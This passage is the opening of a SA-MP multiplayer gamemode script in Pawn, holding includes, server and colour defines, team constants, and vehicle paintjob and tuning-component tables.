
/*


									   BigDev Gamemode
							Gamemode started scripting date: 2017/06/07
				                         Scripter: BigDEv


*/
/*--------------------------------**INCLUDES**--------------------------------*/
#include                            <a_samp>
#include                            <OPA>
//#include 							<crashdetect>
#include						    <skinfix>
#include							<mSelection>
#include                            <Pawn.RakNet>
#include                            <OnPlayerFakeKill>
//#include                            <geoip>// By MoeinBig :|
#include                            <rak>
#include                            <utils>
#include                            <streamer>
#include                            <a_mysql>
#include 							<a_npc>
#include						    <a_http>
#include						    <nex-ac>
#include 							<foreach>
#include 							<profiler>
#include                            <colandreas>
#include 							<sscanf2>
#include							<callbacks>
#include                            <FCNPC>
#include                            <libRegEx>
#include                            <Pawn.Regex>
#include                            <DateUtil>
#include                            <formatex>
#include                            <strlib>
#define                             USE_BWC
/* ---|SERVER STATUS|--- */
#define                             SERVER_NAME1                             "BigDev"
#define                             SERVER_NAME2                             "Game"
#define                             SV_NAME                                  "BigDev"
#define                             SV_VER                                   "1.8"
#define                             SV_LINK                                  "BigDev.ir"
#define                             RADIO_LINK                               "Bigdev.ir/music"
#define                             WELCOME_LINK                             "Bigdev.ir/join.mp3"
#define                             TELEGRAM_ID                              "@BigDEv"
#define                             FORUM_ADD                                "BigDev.ir"
#define                             HOST_NAME1                               "BigDev"
#define                             HOST_NAME2                               "Game"
/* ---|SERVER STATUS|--- */
/*-----------------------------**MySQL System**-------------------------------*/
#define         sqluser         "root"
#define         sqlpass         ""
#define         sqlhost         "127.0.0.1"
#define         sqldb           "samp"
/*---------------------------**DEFINES**------------------------------*/
#undef                              MAX_PLAYERS
#define                             MAX_PLAYERS                              103
#define                             MAX_NPCC                                   3
#define                             MAX_CLANS                                100
#undef                              MAX_VEHICLES
#define                             MAX_VEHICLES                            2000
#define                             FIXES_Single                               1
#define                             FIX_file_inc                               1
#define                           	FIX_KEY_AIM                                1
#define 							KEY_AIM									 (128)
#define								FIXES_GivePlayerWeapon					   1
#define                             FIX_GetPlayerColor                         1
#define                             FIX_SpawnPlayer                            1
#define                          	 FIX_SetPlayerName                          1
#define                             FIX_GetPlayerSkin                          1
#define                             FIX_GetWeaponName                          1
#define                             FIX_TogglePlayerControllable               1
#define                             FIX_IsPlayerInCheckpoint                   1
#define                             FIX_IsPlayerInRaceCheckpoint               1
#define                             FIX_GetPlayerWeapon                        1
#define                             FIX_PutPlayerInVehicle                     1
#define                             FIX_SetPlayerCheckpoint                    1
#define                             FIX_SetPlayerRaceCheckpoint                1
#define                             FIX_TextDrawCreate                         1
#define                             FIX_TextDrawSetString                      1
#define                             FIX_AllowInteriorWeapons                   1
#define                             FIX_OnPlayerEnterVehicle                   1
#define                             FIX_SetPlayerSpecialAction                 1
#define                             FIX_OnDialogResponse                       1
#define                             FIX_SetSpawnInfo                           1
#define                             FIX_SetPlayerSkin                          1
#define                             FIX_valstr                                 1
#define                             FIX_IsPlayerAttachedObjectSlotUsed         1
#define								 HEADPHONE_INDEX						3
#define                             FIX_SetPlayerAttachedObject                1
#define                             FIX_OnPlayerDeath                          1
#define                             FIX_strins                                 1
#define                             FIX_IsPlayerConnected                      1
#define                             FIX_TrainExit                              1
#define                             FIX_Kick                                   1
#define                             FIX_OnVehicleMod                           1
#define                             INVALID_SEAT_ID                            -1
#define 							FIXES_OnPlayerSpawn						   1
#include                            <fixes>
#define                             SINACONVERTER(%1)                      (%1 * 60000)
#define                             MoneyBagDelay(%1,%2,%3,%4) (%1*3600000)+(%2*60000)+(%3*1000)+%4// Hours | Minutes | Seconds | Milliseconds
#define                             MoneyBagCash ((random(20)+5)*675)// 20 = 20,000 minimum 30 = 20,000 -> 50,000
#define                             MAX_ATWARNS                                5
#define                             RAINING_SNOW                               0// Should snow rain? (0: No, 1: Yes) by Sina
#define                             ForEachPlayer(%0)                          for(new %0=0,x=GetPlayerPoolSize();%0<x;%0++)if(IsPlayerConnected(%0))// by Sina
#define                             ForEachVehicle(%0)                         for(new %0=0,t=GetVehiclePoolSize();%0<t;%0++)if(IsValidVehicle(%0))// by Sina
#define                             Error(%1,%0)                               SendClientMessage(%1, 0xF9F7CEFF, %0);
#define                             SWM                                        SendWholeMessage
#define                             SWM2                                       SendWholeMessageEx
#define                             MaxNoKiaGlobalTD                           79
#define                             PHONE_COLOR                                0xE74C3CFF
#define                             MaxNoKiaPlayerTD                           11
#define                             DIALOG_GETNUMBER                           9875
#define                             DIALOG_GETSMS                              9876
#if !defined IsValidVehicle
    native IsValidVehicle(vehicleid);
#endif
/*---------------------------**COLORS**------------------------------*/
#define                             GetVehicleSeats(%0) \
	 (GetVehicleModelSeats(GetVehicleModel(%0)))
#define                             COLOR_AdminWarn                   0xC60000FF
#define                             COLOR_YouAreNotAdmin              0xF9F7CEFF
#define                             COLOR_SINA85                        0xFF4500FF
#define                             COLOR_PlayerNotConnected          0x33AA33AA
#define                             COLOR_LIGHTGREENN                 0x00FF00FF
#define                             COLOR_ABBAS                       0xFFFF80FF    //           This Color just added for fun
#define                             COLOR_SINA2                      0x00FFC8FF
#define                             COLOR_SINA                        0x00FF8CFF
#define                             COLOR_NEWAD                       0x009BFFFF
#define                             COLOR_SINALIGHT                   0xCC3333FF
#define                             COLOR_LCA                         0xF5DEB3FF
#define                             COLOR_AAA                         0xE04343FF
#define                             COLOR_SINAGAMER                   0x0091FFFF
#define                             COLOR_NITROEX                     0xFF9600FF
#define                             COLOR_GAMER                       0xB9FF00FF
#define                             COLOR_SINA3                     0xFF4500FF
#define                             COLOR_MMDPALADIN                  0xFF4500FF   //             We don't have any mamad paladin in our server but this color added just for fun
#define                             COLOR_NewsNR                      0xffa500FF
#define                             COLOR_ALI                         0xFF4500FF
#define                             COLOR_SINAGHERMEZ                 0xFF0000FF
#define                             COLOR_SINASABZ                    0x00FF00FF
#define                             COLOR_SINAABI                     0x0000FFFF
#define                             COLOR_BAN                         0xA9C4E400
#define                             COLOR_Orang                       0xFF4500FF
#define                             COLOR_BANTEXT                     0xB5C5BB00
#define                             COLOR_DEPWARN                     0x0069FFFF
#define                             COLOR_LIGHTRED                    0xff6347AA
#define                             COLOR_SINARANG                    0xF5DEB3FF
#define                             COLOR_ORANGE	                  0xFF6600FF
#define                             COLOR_SINARANGNOT                 0xffF5DEB3
#define                             COLOR_DEFAULTDIALOG               0xffA9C4E4
//#define                             COLOR_ASKQ                        0xFF0000FF
#define                             COLOR_1BLUE                       0x0099FFFF
#define                             COLOR_AFK                         0x8C8C8CFF
#define                             COLOR_JOB                         0x00FFFFFF
#define                             COLOR_HOUSED                      0x00FFFFFF
#define                             COLOR_BIZ                         0x0000FFFF
#define                             COLOR_GRAD1                       0xB4B5B7FF
#define                             COLOR_GRAD2                       0xBFC0C2FF
#define                             COLOR_GRAD3                       0xCBCCCEFF
#define                             COLOR_GRAD4                       0xD8D8D8FF
#define                             COLOR_GRAD5                       0xE3E3E3FF
#define                             COLOR_GRAD6                       0xF0F0F0FF
#define PRESSED(%0) \
	(((newkeys & (%0)) == (%0)) && ((oldkeys & (%0)) != (%0)))
#define                             COLOR_DEPART2                     0x8D8DFFFF
#define                             COLOR_CRS1                        0xF2F2F2FF
#define                             COLOR_CRS2                        0xE6E6E6FF
#define                             COLOR_CRS3                        0xD8D8D8FF
#define                             COLOR_CRS4                        0xBDBDBDFF
#define                             COLOR_ROB                         0xFFA000FF
#define                             COLOR_CRS5                        0xA4A4A4FF
#define                             COLOR_EVENT                       0x5d8cd7FF
#define                             COL_SYN                           0xA9C4E400
#define                             COLOR_Good                        0xb8ffdbFF
#define                             COLOR_GREY                        0x5D7E8D77
#define                             COLOR_GREEN                       0x33AA33AA
#define                             COLOR_RED                         0xAA3333AA
#define                             COLOR_HACKER                      0x7A7399FF
#define                             COLOR_OIL                         0xFF6400FF
#define                             COLOR_FChat                       0x00ECECFF
//#define COLOR_REDXX		0xFF0000FF
// #define NEON 092176
#define                             COLOR_LIGHTBLUE                   0x33ccffAA
#define                             COLOR_LIGHTGREEN                  0xC6FC31FF
#define                             COLOR_HOUSE                		  0x00E600FF
#define                             COLOR_YELLOW                      0xFFFF00FF
#define                             COLOR_YELLOW2                     0xF9F7CEFF
#define                             COLOR_WHITE                       0xFFFFFFFF
#define                             COLOR_FADE1                       0xE6E6E6E6
#define                             COLOR_FADE2                       0xC8C8C8C8
#define                             COLOR_FADE3                       0xAAAAAAAA
#define                             COLOR_FADE4                       0x8C8C8C8C
#define                             COLOR_FADE5                       0x6E6E6E6E
#define                             COLOR_PURPLE                      0xC2A2DAAA
#define                             COLOR_DBLUE                       0x2641FEAA
#define                             COLOR_ALLDEPT                     0xFF8282AA
#define                             COLOR_NEWS                        0x825B8CFF
#define                             CRISTIAN                          0x0DC013AA
#define                             CRISTIAN1                         0xF21717AA
#define                             COLOR_TUT96                       0xFFFFFFFF
#define                             COLOR_Jooje                       0xFFFF00FF
#define                             COLOR_OOC                         0xB1C8FBAA
#define                             COLOR_visit                       0xFF0000FF
#define                             COLOR_VLA                    0x00ECECFF
#define                             COLOR_TopBoys                     0x0E47FFFF
#define                             COLOR_SFPD                        0x60F565FF
#define                             COLOR_SSH                        0x7D633BFF
#define                             COLOR_GG                          0xE04343FF
#define                             TEAM_HIT_COLOR                    0xFFFFFF00
#define                             TEAM_BLUE_COLOR                   0x8D8DFF00
#define                             TEAM_GroveStreet_COLOR        0x00D900C8
#define                             TEAM_AZTECAS_COLOR                0x01FCFFC8
#define                             COLOR_VLA                    0x00ECECFF
#define                             TEAM_CYAN_COLOR                   0xFF8282AA
#define                             TEAM_CUN_COLOR                    0x5D7E8DFF
#define                             ADVERTISEMEN_COLOR                0x18E139FF
#define                             COLOR_Vagos                0xFFBA00FF
#define                             COLOR_GroveStreet             0x19AF23FF
#define                             COLOR_HITMAN                      0x8E2323FF
#define                             COLOR_TBF                    0xB32CF6FF
#define                             COLOR_TCC                         0xF9F7CEFF
#define                             COLOR_STAFF                       0xFF0000FF
#define                             COLOR_TT                          0xB5AB6DFF
#define                             COLOR_EVIL                        0xD1B4DBFF
#define                             COLOR_GGC                         0x9a9a9aFF
#define                             COLOR_MAYOR                       0xBBF060FF
#define                             COLOR_MAFIA                       0x000000FF
#define                             COLOR_CHICHPGO                    0x5D7E8DFF
#define                             COLOR_Triads                  0x3E3535FF
#define                             COLOR_MEDIC                       0xFF4500FF
#define                             COLOR_PD                          0x0000ffFF
#define                             COLOR_DEA                         0x0101bbFF
#define                             COLOR_NG                          0x2c4c9bFF
#define                             COLOR_SI                          0x00a6ffFF
#define                             COLOR_TAXI                        0xFFFF00FF
#define                             COLOR_BLUE                        0x3385ffFF
#define                             COLOR_PDBLUE                      0x3399ffFF
#define                             COLOR_MAMAD                       0x00FF00FF
#define                             COL_Vagos                  			"{F3A32A}"
#define                             COL_GroveStreet               	   "{19AF23}"
#define                             COL_HITMAN                        "{AF1919}"
#define                             COL_TBF                      		"{B32CF6}"
#define                             COL_TCC                           "{F9F7CE}"
#define                             COL_STAFF                         "{FF0000}"
#define                             COL_TT                            "{B5AB6D}"
#define                             COL_EVIL                          "{D1B4DB}"
#define                             COL_GG                            "{9a9a9a}"
#define                             COL_MAYOR                         "{BBF060}"
#define                             COL_CHICHPGO                      "{5D7E8D}"
#define                             COL_Triads                    		"{4F4F4F}"
#define                             COL_MEDIC                         "{F2926F}"
#define                             COL_PD                            "{6F9BF2}"
#define                             COL_DEA                           "{4179E9}"
#define                             COL_NG                            "{466FC0}"
#define                             COL_SI                            "{0974C6}"
#define                             COL_SFPD                          "{60F565}"
#define                             COL_CRS1                          "{F2F2F2}"
#define                             COL_CRS2                          "{E6E6E6}"
#define                             COL_CRS3                          "{D8D8D8}"
#define                             COL_CRS4                          "{BDBDBD}"
#define                             COL_CRS5                          "{A4A4A4}"
/*-------------------------**OTHER DEF**--------------------------------------*/
#define                             AdminWarnMSG                "[Admin-Warn]: "
#define                             SCM                        SendClientMessage
#define                             SendMessage                        SendClientMessage
#define								DIALOG_ORDER			                1913
#define								DIALOG_PMS			                    3268
#define								DIALOG_PMS2			                    3269
#define								DIALOG_BUGS			                    3270
#define								DIALOG_BUGS2			                3271
#define								DIALOG_FACTIONS			                5698
#define                             DIALOG_FFNN                             1919
//#define								DIALOG_ORDER2                       33429240
#define                             DIALOG_BOOMBOX                         10005
#define								DIALOG_NEON					            1914
#define                             DIALOG_ADMINS                          10000
#define                             DIALOG_HELPERS                         10001
#define                             DIALOG_LEADERS                         10002
#define                             DIALOG_INFO                            10003
#define                             DIALOG_CHANGE_PASSWORD                 18855
#define                             DIALOG_CHANGE_PASSWORDN                18856
#define                             DIALOG_CHANGE_PASSWORDS                18857
#define                             DIALOG_CHANGE_PASSWORDM                18858
#define                             AdminOnly                                   "Error: You are not authorized to use this command."
#define                             PISSING                                   68
#define                             PRESSED(%0)                                (((newkeys & (%0)) == (%0)) && ((oldkeys & (%0)) != (%0)))
#define                             gTeam[%0]                   PINFO[%0][pTeam]
#define                             function%0(%1)                              forward %0(%1);public %0(%1)
#define                             TEAM_CIV                                   0
#define                             TEAM_COP                                   1
#define                             TEAM_MEDIC                                 2
#define                             TEAM_FAMILY                                3
#define                             TEAM_SM                          TEAM_FAMILY
#define                             TEAM_KM                          TEAM_FAMILY
#define                             TEAM_HITMAN                                4
#define                             TEAM_NEWS                                  5
#define                             TEAM_TAXI                                  6
#define                             TEAM_SI                                    7
#define                             TEAM_GroveStreet                     TEAM_FAMILY
#define                             TEAM_Vagos                TEAM_FAMILY
#define                             TEAM_TBF                    TEAM_FAMILY
#define                             TEAM_TopBoys                     TEAM_FAMILY
#define                             TEAM_VLA                    TEAM_FAMILY
#define                             TEAM_TOW                                   8
#define                             TEAM_STAFF                                 17
#define                             TEAM_HACKER                                17
#define                             TEAM_TT                    TEAM_FAMILY
#define                             TEAM_EVIL                    TEAM_FAMILY
#define                             TEAM_GG                    TEAM_FAMILY
#define                             PlayerNotConnectedMSG                      "Error: Player isn't connected."
#define                             LIGHTGREENN                      "Error: Unknown command."
#define                             YouAreNotAdminMSG                          "Error: You are not an admin."
#define                             DefaultInsurance                           5
#define                             PTP                            PlayerToPoint
#define                             IsPlayerSwimming             IsPlayerInWater
// Marboot be eynak
#define SetPlayerHoldingObject(%1,%2,%3,%4,%5,%6,%7,%8,%9) SetPlayerAttachedObject(%1,MAX_PLAYER_ATTACHED_OBJECTS-1,%2,%3,%4,%5,%6,%7,%8,%9)
#define StopPlayerHoldingObject(%1) RemovePlayerAttachedObject(%1,MAX_PLAYER_ATTACHED_OBJECTS-1)
#define IsPlayerHoldingObject(%1) IsPlayerAttachedObjectSlotUsed(%1,MAX_PLAYER_ATTACHED_OBJECTS-1)
// Tamoom shodane eynak ke tavasote SiNaGaMeR sakhte shode
#define                             VEHICLE_PARAMS_OFF                         0
#define                             VEHICLE_PARAMS_ON                          1
#define                             KEY_ANALOG_UP                         (2048)
#define                             KEY_ANALOG_DOWN                       (4096)
#define                             KEY_ANALOG_RIGHT                     (16384)
#define                             KEY_ANALOG_LEFT                       (8192)
#define                             GasMax                                   100
#define                             RefuelWait                              5000
#define                             WantedAFKTime                     5 //Minute
#define                             AFKTimeOnSV                      30 //Minute
#define                             PINFO[%0][%1]   PlayerInfo[%0][%1]//:D ;) =D
#define                             MAX_ZONE_NAME                             50
#define                             BULL_TIME                            (30000)
#define                             CURRENT_MESSAGES                           6
//#define                             MESSAGE_TIME                             400
#define                             MAX_SPAMCMDS                             10
#define 							MAX_PLAYER_TOYS_SLOT                     20
#define 							DIALOG_PLAYERTOYS 	                     1084
#define 							DIALOG_MOKHTASAT 	                     1085
#define 							DIALOG_ARGB 		                     1086
#define                             MAX_FOSH_LEN 15// max lengthe ye harfe bad
#define                             MAX_FOSH 35// tedade harf haye badi ke define shode
#define                             NUMBER_TYPE_PAINTJOB 	                  36
#define                             dialog_TUNING 	                          1323
#define                             dialog_TUNING_2	                           1324
#define                             COLOR_PRICE                                 100
#define SendErrorMessage(%0,%1) \
	SendClientMessage(%0, COLOR_YELLOW2, "Error: "%1)
#define                             SEM                                   SendErrorMessage
//=====================================================AutoLogin
#if !defined isnull
	#define isnull(%1) \
				((!(%1[0])) || (((%1[0]) == '\1') && (!(%1[1]))))
#endif
//============================Jadid===============================================
//#define MAX_HOUSE   500
//#define House_File  "House/%d.ini"
//#define FILE_FOR_PLAYER "House/Player/%s.ini"
//#define DIALOG_HOUSE     1391/
#define SCM SendClientMessage
//#define MAX_DAYS    7
//================================================================================
#define MODE_SKATE (0)        // 0 - medium speed | 1 - fast speed
#define TYPE_SKATE (1)        // 0 - the skate is placed on the right arm | 1 - the skate is placed in the back
#define INDEX_SKATE (8)       //is the slot that used SetPlayerAttachedObject
#define PUB:%1(%2) forward %1(%2); public %1(%2)
#define HOLDING(%0) \
	((newkeys & (%0)) == (%0))

#define RELEASED(%0) \
	(((newkeys & (%0)) != (%0)) && ((oldkeys & (%0)) == (%0)))

#define PROPERTY_OFFSET(%0) \
	((((%0) * ((%0) << 1)) << 2) + 65536)
//	new Barande;
#if defined _trafficsigns_included
#endinput
#endif
#define _trafficsigns_included

#if !defined STREAMER_TYPE_OBJECT
#include <streamer>
#endif
#if !defined INFINITY
    #define INFINITY                 (Float:0x7F800000)
#endif
#define SIGN_STOP               0
#define SIGN_YIELD              1
#define SIGN_PROHIBITED         2
#define SIGN_PROHIBITED2    3
#define SIGN_CROSSWALK          4
#define SIGN_MAXVELOCITY    5
#define SIGN_MINVELOCITY    6
#define SIGN_MAXTONNE       7
#define SIGN_WALKERONLY     8
#define SIGN_BIKEONLY       9
#define SIGN_BIKEPROHIBITED 10
#define SIGN_PROHIBITEDDIR1 11
#define SIGN_PROHIBITEDDIR2 12
#define SIGN_PROHIBITEDDIR3 13
#define SIGN_PROHIBITEDDIR4 14
#define SIGN_GODIR1             15
#define SIGN_GODIR2             16
#define SIGN_GODIR3             17
#define SIGN_GODIR4             18
#define SIGN_TAXI                       19
#define SIGN_BUS                        20
#define SIGN_PARKING1           21
#define SIGN_PARKING2           22
#define MAX_SIGNS           500
 #define LIFT_STATUS_UP 0
#define LIFT_STATUS_LOWERING 1
#define LIFT_STATUS_RISING 2
#define LIFT_STATUS_DOWN 3

 //spec///
 #define ADMIN_SPEC_TYPE_NONE 0
#define ADMIN_SPEC_TYPE_PLAYER 1
#define ADMIN_SPEC_TYPE_VEHICLE 2
/*new
	hostname[128],
	mapname[128],
	weburl[128],
	rconpass[128],
	bool:server_locked;*/
#define EX_SPLITLENGTH 118
//new Text3D:mDutyText[MAX_PLAYERS];

#define LIFT_MAIN 0
#define LIFT_SIDE 1
//new Text:TDEditor_TD[2];
AntiDeAMX()
{
   new a[][] =
   {
      "DeAMX failed",
      "From Sina"
   };
   #pragma unused a
}
#pragma                             tabsize                                    0
#pragma warning disable 238
#pragma warning disable 217
//#pragma warning disable 209// disabled cause UseTag(..)
#pragma                             semicolon                                  0
#pragma 							dynamic									 17000
static                              akharinvehicle =                        772;
new bool:buyvipheal[MAX_PLAYERS] = false;
new bool:Snow,SnowObject[MAX_PLAYERS];
forward BUYVIPHEAL(playerid);
forward Float:GetDamageFromWeaponID(weaponid);
forward Float:randomFloat(const RAND_MAX = 32767);
forward Float:randomFloatMax(const Float:max);
forward Float:randomFloatMinMax(const Float:min, const Float:max);
new bool:buyviparmor[MAX_PLAYERS] = false;
new bool:Desync[MAX_PLAYERS];
new Selected[MAX_PLAYERS][MAX_PLAYERS],
	Selected2[MAX_PLAYERS];
new Selectedx[MAX_PLAYERS][MAX_PLAYERS],
	Selected2x[MAX_PLAYERS];
new Selectedd[MAX_PLAYERS][50];
new bool:Multiye[MAX_PLAYERS];
forward BUYVIPARMOR(playerid);
static bool:OnFly[MAX_PLAYERS];
static
    bool:IsPlayerSynced[MAX_PLAYERS char],
    PlayerAmmo[MAX_PLAYERS char],
    PlayerUpdateTick[MAX_PLAYERS];
static stock
	p_DamageSpamTime				[ MAX_PLAYERS ],
	p_DamageSpamCount				[ MAX_PLAYERS char ];
forward InitFly(playerid);
forward bool:StartFly(playerid);
forward bool:StopFly(playerid);
forward static SetPlayerLookAt(playerid,Float:x,Float:y);
forward Fly(playerid);
forward SendRandomMessage();
forward ToysSave(playerid);
forward CreateToysPlayerTextDraws(playerid);
forward DestroyToysPlayerTextDraws(playerid);
forward GetFreeToySlot(playerid);
forward UpdateToySlot(playerid, slotid);
forward GetToysEnabled(playerid);
forward ShowToysStudio(playerid);
forward HideToysStudio(playerid);
forward FixToysStudioTemp(playerid, slot);
forward UpdateToysEditor(playerid);
forward UpdateEditingToy(playerid, toyid);
forward GetFelanomeFelanType(type, felanom);
forward GetSizeFelanType(type);
forward GetLastPageOfType(type);
forward ShowFelanPageAzFelanType(playerid, type, page);

new Text:TDRestart;
new Text:TuningTDKM[5];
new Text:TuningTD[11];
new Text:TuningTD2[4];
new Text:TuningTD3[1];
new Text:TuningTD4[1];
new Text:Bank_Rob_Power_TD;
new Text:NCGlobal[2];
//new KontrolEdildi[MAX_PLAYERS];
new Float:BoomBoxPos[3],BoomBoxObject[MAX_PLAYERS];
new Float:MoneyBagPos[3], MoneyBagFound=1, MoneyBagLocation[50], MoneyBagPickup, Timer[2];
//new bool:animlock[MAX_PLAYERS];
new Text:information;
//new Text:WebTD;
//new army11;
//new army12;
//new army13;
//new army14;
//new army15;
//new army16;
//new army17;
//new army18;
//new army19;
//new army20;
//new army21;
//new army22;
native gpci (playerid, serial [], len);// HWID
native WP_Hash(buffer[], len, const str[]);// Hashing passwords
new BereJahanam[MAX_PLAYERS];
new lift_object_id[2];
new lift_status[2];
//new FireworkTotal;
new JahanamSys;
new RM[CURRENT_MESSAGES][128];
//new EnableBoast[MAX_PLAYERS];
new Float:lift_coords[2][6] = { // xyz for raised pos, xyz for lowered pos
{-1456.700805, 501.301513, 16.903375, -1456.700805, 501.301513, 9.863378}, // Main lift
{-1414.450439, 516.463256, 16.679367, -1414.450439, 516.463256, 9.649368} // Side lift
};
enum Vehicle {
    vVehID,
    vOwner[ MAX_PLAYER_NAME ],
	bool:vTuned,
	vSpoiler,
	vHood,
	vRoof,
	vSkirt,
	vLamps,
	vNitro,
	vExhaust,
	vWheels,
	vStereo,
	vHydraulics,
	vFrontBumper,
	vRearBumper,
	vRightVent,
	vLeftVent,
	vColor1,
	vColor2,
	vPaintJob
}
new VehicleInfo[ MAX_VEHICLES ][ Vehicle ];
enum PaintjobInfi {
	vehID,
	pNumber,
	pPrice,
	pName[ 12 ]
};
static const
	pjInfo[ NUMBER_TYPE_PAINTJOB ][ PaintjobInfi ] = {
	{ 483, 0, 100, "Paintjob 1" },
	{ 534, 0, 100, "Paintjob 1" },
	{ 534, 1, 100, "Paintjob 2" },
	{ 534, 2, 100, "Paintjob 3" },
	{ 535, 0, 100, "Paintjob 1" },
	{ 535, 1, 100, "Paintjob 2" },
	{ 535, 2, 100, "Paintjob 3" },
	{ 536, 0, 100, "Paintjob 1" },
	{ 536, 1, 100, "Paintjob 2" },
	{ 536, 2, 100, "Paintjob 3" },
	{ 558, 0, 100, "Paintjob 1" },
	{ 558, 1, 100, "Paintjob 2" },
	{ 558, 2, 100, "Paintjob 3" },
	{ 559, 0, 100, "Paintjob 1" },
	{ 559, 1, 100, "Paintjob 2" },
	{ 559, 2, 100, "Paintjob 3" },
	{ 560, 0, 100, "Paintjob 1" },
	{ 560, 1, 100, "Paintjob 2" },
	{ 560, 2, 100, "Paintjob 3" },
	{ 561, 0, 100, "Paintjob 1" },
	{ 561, 1, 100, "Paintjob 2" },
	{ 561, 2, 100, "Paintjob 3" },
	{ 562, 0, 100, "Paintjob 1" },
	{ 562, 1, 100, "Paintjob 2" },
	{ 562, 2, 100, "Paintjob 3" },
	{ 565, 0, 100, "Paintjob 1" },
	{ 565, 1, 100, "Paintjob 2" },
	{ 565, 2, 100, "Paintjob 3" },
	{ 567, 0, 100, "Paintjob 1" },
	{ 567, 1, 100, "Paintjob 2" },
	{ 567, 2, 100, "Paintjob 3" },
	{ 575, 0, 100, "Paintjob 1" },
	{ 575, 1, 100, "Paintjob 2" },
	{ 576, 0, 100, "Paintjob 1" },
	{ 576, 1, 100, "Paintjob 2" },
	{ 576, 2, 100, "Paintjob 3" }
};

enum ComponentsInfo {
	cID,
	cName[ 40 ],
	cPrice,
	cType
};
#define MAX_COMPONENTS	194
static const
	cInfo[ MAX_COMPONENTS ][ ComponentsInfo ] = {
	{ 1000, "Pro Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1001, "Win Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1002, "Drag Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1003, "Alpha Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1004, "Champ Scoop Hood", 100, CARMODTYPE_HOOD },
	{ 1005, "Fury Scoop Hood", 100, CARMODTYPE_HOOD },
	{ 1006, "Roof Scoop Roof", 100, CARMODTYPE_ROOF },
	{ 1007, "Right Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1008, "5x Nitrous", 100, CARMODTYPE_NITRO },
	{ 1009, "2x Nitrous", 100, CARMODTYPE_NITRO },
	{ 1010, "10x Nitrous", 100, CARMODTYPE_NITRO },
	{ 1011, "Race Scoop Hood", 100, CARMODTYPE_HOOD },
	{ 1012, "Worx Scoop Hood", 100, CARMODTYPE_HOOD },
	{ 1013, "Round Fog Lamp", 100, CARMODTYPE_LAMPS },
	{ 1014, "Champ Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1015, "Race Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1016, "Worx Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1017, "Left Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1018, "Upswept Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1019, "Twin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1020, "Large Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1021, "Medium Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1022, "Small Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1023, "Fury Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1024, "Square Fog Lamp", 100, CARMODTYPE_LAMPS },
	{ 1025, "Offroad Wheels", 100, CARMODTYPE_WHEELS },
	{ 1026, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1027, "Left Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1028, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1029, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1030, "Left X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1031, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1032, "Alien Roof Vent", 100, CARMODTYPE_ROOF },
	{ 1033, "X-Flow Roof Vent", 100, CARMODTYPE_ROOF },
	{ 1034, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1035, "X-Flow Roof Vent", 100, CARMODTYPE_ROOF },
	{ 1036, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1037, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1038, "Alien Roof Vent", 100, CARMODTYPE_ROOF },
	{ 1039, "Left X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1040, "Left Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1041, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1042, "Right Chrome Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1043, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1044, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1045, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1046, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1047, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1048, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1049, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1050, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1051, "Left Alien Sideskirt", 100, CARMODTYPE_SPOILER },
	{ 1052, "Left X-Flow Sideskirt", 100, CARMODTYPE_SPOILER },
	{ 1053, "X-Flow Roof", 100, CARMODTYPE_ROOF },
	{ 1054, "Alien Roof", 100, CARMODTYPE_ROOF },
	{ 1055, "Alien Roof", 100, CARMODTYPE_ROOF },
	{ 1056, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1057, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1058, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1059, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1060, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1061, "X-Flow Roof", 100, CARMODTYPE_ROOF },
	{ 1062, "Left Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1063, "Left X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1064, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1065, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1066, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1067, "Alien Roof", 100, CARMODTYPE_ROOF },
	{ 1068, "X-Flow Roof", 100, CARMODTYPE_ROOF },
	{ 1069, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1070, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
